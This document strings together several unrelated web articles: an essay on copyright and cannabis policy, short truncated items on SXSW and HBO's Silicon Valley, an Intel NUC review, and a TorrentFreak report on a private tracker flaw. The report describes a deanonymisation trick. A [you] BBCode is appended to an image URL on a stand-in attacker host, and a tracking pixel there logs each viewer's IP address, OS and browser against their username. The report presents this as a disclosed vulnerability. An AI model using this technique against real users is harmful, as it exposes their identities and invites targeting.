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It would appear that when a subject is sufficiently peripheral to policymakers, slow incumbent industries can get whatever repressive and counterproductive policy they want, even in the face of overwhelming public opinion to the opposite for about 40 years.

In 1968, at the height of the hippie movement when everybody and their brother were doing joints, everybody and their brother were equally convinced cannabis would be legal in just a few years. How could it not be?

Twenty years later, in 1990, the war on certain species of plants was harsher than ever before.

Around 1995, at the dawn of file-sharing with ZModem over BBS networks and early dialup, and even more so with the advent of Napster a few years later, everybody and their brother were convinced copyright monopoly laws needed to be updated to reflect reality – like you unceremoniously adjust a map to the observed factual terrain. It was deemed to be a couple of years out, five years tops.

Here we are, twenty years later, and utterly insane corporate power grabs in the name of TPP, TTIP, and TISA are being cooked, while policitians remain dangerously clueless on the matter. Meanwhile, respect for the copyright monopoly as a law is considerably lower than the respect for speed limits.

The pattern here is that while the delusion and the disconnect remains active, punishments become increasingly harsher as policymakers desperately try to align the terrain with the map in their delusional heads, kind of how a military force with a bad mapmaker need to use an ever-increasing amount of explosives to fix the terrain instead of the map.

This goes on until the system comes down, until the hypocrisy ends, until people just stop pretending.

Slow cracks in the facade start appearing before the 40 years are up and you hit some sort of tipping point: in 1992, Bill Clinton famously said that he had smoked cannabis, but defended himself saying he “didn’t inhale”, as if that somehow made it politically acceptable in the eyes of the vested interests.

In 2007, a full fifteen years later, Barack Obama said “of course I inhaled, that was the point”, and didn’t try to excuse himself in the slightest. That was forty years after 1968. (Well, 39.)

The pattern here is that the people with crazy delusions of entitlement, such as the copyright industry, simply take forty years to die, so those ideas get naturally erased from the group and the population at large. This is not a new pattern; it is present as early as the Christian/Jewish/Muslim sacred texts, when Moses led a bunch of people from Egypt to the Levant, which according to said texts took 40 years.

Now, it doesn’t take 40 years to walk from Egypt to the Levant. It takes two months to walk westward from the Levant across all of Europe, and Egypt is one-tenth that distance. The only way to make it take 40 years is to walk around in the desert at random, making 40 years of time pass.

We’ve frequently said that the current idiocy will solve itself once the people of the net generation come into the string-pulling positions of power, but that’s still some time out, and we gotta hold the barricades against dark-black dystopia until then. If we’re extrapolating 40 years from Napster, that puts us about 2040. People with the most political power are usually 50-60 years old, which means they will have been born in 1980-1990: the net arrived when they were in their late childhood to early teens. The people born in this time understand the net, and they have absolutely no sympathy whatsoever for the parasitic copyright industry swimming in its despicable and damaging delusions of entitlement.

But should we really have to wait another 25 years for the blatantly and painfully obvious to become apparent to policymakers? Can’t we use, you know, this Internet thing to make ideas move just a little faster today?

As a complete side note, another plant was banned earlier in history with the roughly same pattern and the same arguments. The plant was coffee.

Source: TF, for the latest info on copyright, file-sharing, torrent sites and ANONYMOUS VPN services.

AUSTIN, Texas—South By Southwest Interactive is currently in full swing, and in addition to hundreds of panel conversations, the festival also includes a giant trade-show floor full of attention-hungry startups. The floor is covered in a mélange of start-up-styled nonsense, and it ranged from intriguing (custom-molded earbuds) to awkward (a 3D food printer that was down due to Windows PC crashes) to creepy (an app-controlled plastic mask meant to be worn overnight for beautiful skin) to outright awful (a wobbling surfboard-like rig meant for standing desks that we almost immediately fell off of).

NASA's presence at the 2016 South By Southwest Interactive Festival. (credit: Sam Machkovech)

In short, this isn't a scene in which you'd expect to find established, beloved companies—you're more likely to find your Samsungs and Googles throwing parties or hosting dedicated venues around downtown Austin—which made the startup convention room's one exception to that rule seem all the more curious: NASA.

NASA's SXSWi presence looked a little like a county-fair setup, with a foam-board sign advertising real astronauts stopping by to speak, some giant models of NASA spacesuits and rockets, and some scaffolding-held signs about Mars aspirations and strides towards innovation. Of most interest to us was a single, nondescript cubicle at the edge of the staging, which contained a pair of HTC Vive headsets.

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(credit: HBO)

AUSTIN, Texas—During the first season of HBO's Silicon Valley, the megalomaniac CEO of the search giant Hooli offers protagonist Richard Hendricks (Thomas Middleditch) $10 million for his still-nascent startup, Pied Piper.

The initial script called for a much bigger offer, but show creator Mike Judge thought that was over the top.

Judge said, "that's too much, no one is going to buy that it's $100 million," Middleditch said at a South By Southwest panel on Saturday featuring Judge, writer and producer Alec Berg, and several of the show's stars. "So we turned it down to $10 million, and then during season one the news came out about Snapchat turning down that offer of five or six billion, so, egg on our face, I guess." (The offer from Facebook was actually $3 billion.)

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Andrew Cunningham

The new Skylake NUC.

10 more images in gallery

Intel’s “Next Unit of Computing” (NUC) mini desktops started off as interesting curiosities, experiments to see just how much computer could fit in a desktop PC that you could hold in your hand. Each subsequent generation has refined the overall concept and added other niceties, making it more and more like a solid consumer-ready computer (albeit one that makes you provide your own RAM and SSD and OS).

We looked at Intel’s fourth-generation NUC based on its still-relatively-new Skylake processors. On the outside, less has changed than ever before—Intel has settled on a “look” for the NUC and it’s not messing with the design much. On the inside, you get enough cool upgrades that you can almost forgive Intel’s CPU performance for improving so little in the last three or four years.

Model breakdown

Specs at a glance: Intel NUC NUC6i7SYK (as reviewed)
OS	Windows 10 x64
CPU	1.8GHz Core i5-6260U (Turbo Boost up to 1.9GHz)
RAM	16GB 2133MHz DDR4 (supports up to 32GB)
GPU	Intel Iris 540 (integrated with 64MB eDRAM)
HDD	256GB Samsung SM951 PCIe SSD
Networking	867Mbps 802.11ac Wi-Fi, Bluetooth 4.2, Gigabit Ethernet
Ports	4x USB 3.0, 1x mini DisplayPort 1.2, 1x HDMI 1.4b, headphones, SD card slot
Size	4.53” x 4.37” x 1.26” (115 x 111 x 32mm)
Other perks	Kensington lock, swappable lids, IR receiver
Warranty	3 years
Price	~$400 (barebones), about $755 as configured

There are four Skylake NUCs as of this writing. Two include a Core i5-6260U with an Iris 540 integrated GPU, and two use a slower Core i3-6100U processor and a slower HD 520 GPU. Each processor comes in two cases: a taller one that makes room for a 2.5-inch hard drive or SSD, and a shorter one that doesn’t. Otherwise, all models share the same basic design, port layout, and other features.

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On a very basic level torrent sites come in two flavors. On the one hand there’s public sites such as KickassTorrents and Pirate Bay, on the other there are closed communities that tend to stay out of public view.

These closed communities are known as private trackers and they’re often difficult to gain access to. This is supposed to enhance their security and in many cases indeed does but problems do exist as today’s news illustrates.

Several weeks ago TorrentFreak was contacted by a security researcher who proposed that we write an article on how law enforcement would be able to uncover crucial information about the operators, staff, uploaders and users of one of the most well-known private trackers.

Several days later our tipster, who told us he has worked in website security for many years, said that he’d managed to exploit a flaw in the tracker to extract sensitive information about its users.

“I can identify a user to an IP address. This is useful against owners/staff and uploaders. If I worked for a government organization, I could target the owner of the IP to hand over data,” he explained.

“Also I am able to gather browser (and its version) and operation system. If they are running vulnerable versions, [an attacker] could try to target them.”

At this point the security worker declined our request to identify the site since there was no simple way he could inform them of the issues without risking his membership. However, he was prepared to explain how the exploit worked.

“The website uses BBCode for forums and private messages (to bold things, insert emoji, and photos),” he explained.

“One of the BBCodes this site uses is [you]. If you place this in a forum or a private message it will insert the user’s logon name, that is viewing the page. If my username was ‘Randomusername’, and someone sent me a private message saying ‘Hello [you]!’, when I opened it, the BBcode would translate to ‘Hello Randomusername!'”

While this sounds harmless enough, there’s a real sting in the tail. According to the researcher he was able to set up a remote system on a server under his control to extract IP addresses and other information of the people who read postings formatted in this fashion.

“When you add [you] on the end of an image, you get something like this http://myevilsite.com/photo.php?u=[you].jpg. On this PHP page [on a remote site], you generate a transparent 1 pixel x 1 pixel image. But as it is PHP, you run commands to gather the IP address, gather the OS, and gather the browser and version [of the person viewing it],” he explained.

“When people viewed the page, they didn’t know that a tiny image was stealing their information.”

And it appears he did manage to extract a considerable amount of sensitive information.

“The next part was how to get the maximum amount of viewers of my transparent PHP image. So I decided to post in various forums. I also messaged staff and uploaders directly. Once these people viewed the post/message, it would load the transparent image, and I would store all of the above information, which mapped back to their username on the site,” he explained.

Weeks passed by without TF hearing anything further and without knowing the name of the site we decided to sit on the information. But then, more than a month after first contact we were contacted again, this time with information that confirmed the affected site was popular private tracker SceneAccess.

In the interests of security, TorrentFreak immediately contacted the site’s staff and informed them of the problems before anyone else could carry out the same exploit. The disclosure would also given the site the opportunity to advise its members of the flaw but at this point it’s unclear whether it has done so.

Although one can’t be sure that the exploit hadn’t already been discovered by someone else, the researcher who contacted us didn’t appear to have any malice towards the site and expressed no intention of doing anything bad with the data.

“I am into web application security and I naturally check for ways that could compromise the sites I use. I have done this for my company, my banks and even my torrent sites. I also teach a website hacking class, pretty regularly,” he explained.

However, the researcher claims that he did manage to get a lot of data which attached usernames to IP addresses, including those of staff and uploaders. It’s not clear how many had taken precautions to hide their identities on site but the researchers feels not all of them did.

“From my data not all of them are using VPNs or seed boxes,” he said.

As can be seen from the somewhat intentionally blurry, heavily redacted and incomplete screenshot below, the database compiled by the researcher is considerable and includes sensitive details of uploaders and staff members.

While the vulnerability is easily fixed, the researcher says that other private trackers using the same feature could also be prone to having data extracted in the same manner.

“Typically the [you] BBCode wouldn’t be a vulnerability on any average site. But on a private site, that does questionable things, it turns into a vulnerability. I do not know if anyone else has implemented the [you] BBCode, but I do know that it is specifically on the ‘NOT going to happen’ list on TorrentBytes,” he says.

Of course, the limited numbers of people on private trackers means that there is less chance of something like this being exploited. Also, the invite systems on private sites go some way to keeping undesirables out. However, as the researcher notes, these systems aren’t watertight.

“Members get invites that they can give or sell to other people. Even though selling is against the rules, people still do it and someone really looking to take them down, wouldn’t mind spending a couple of bucks,” he concludes.

Source: TF, for the latest info on copyright, file-sharing, torrent sites and ANONYMOUS VPN services.

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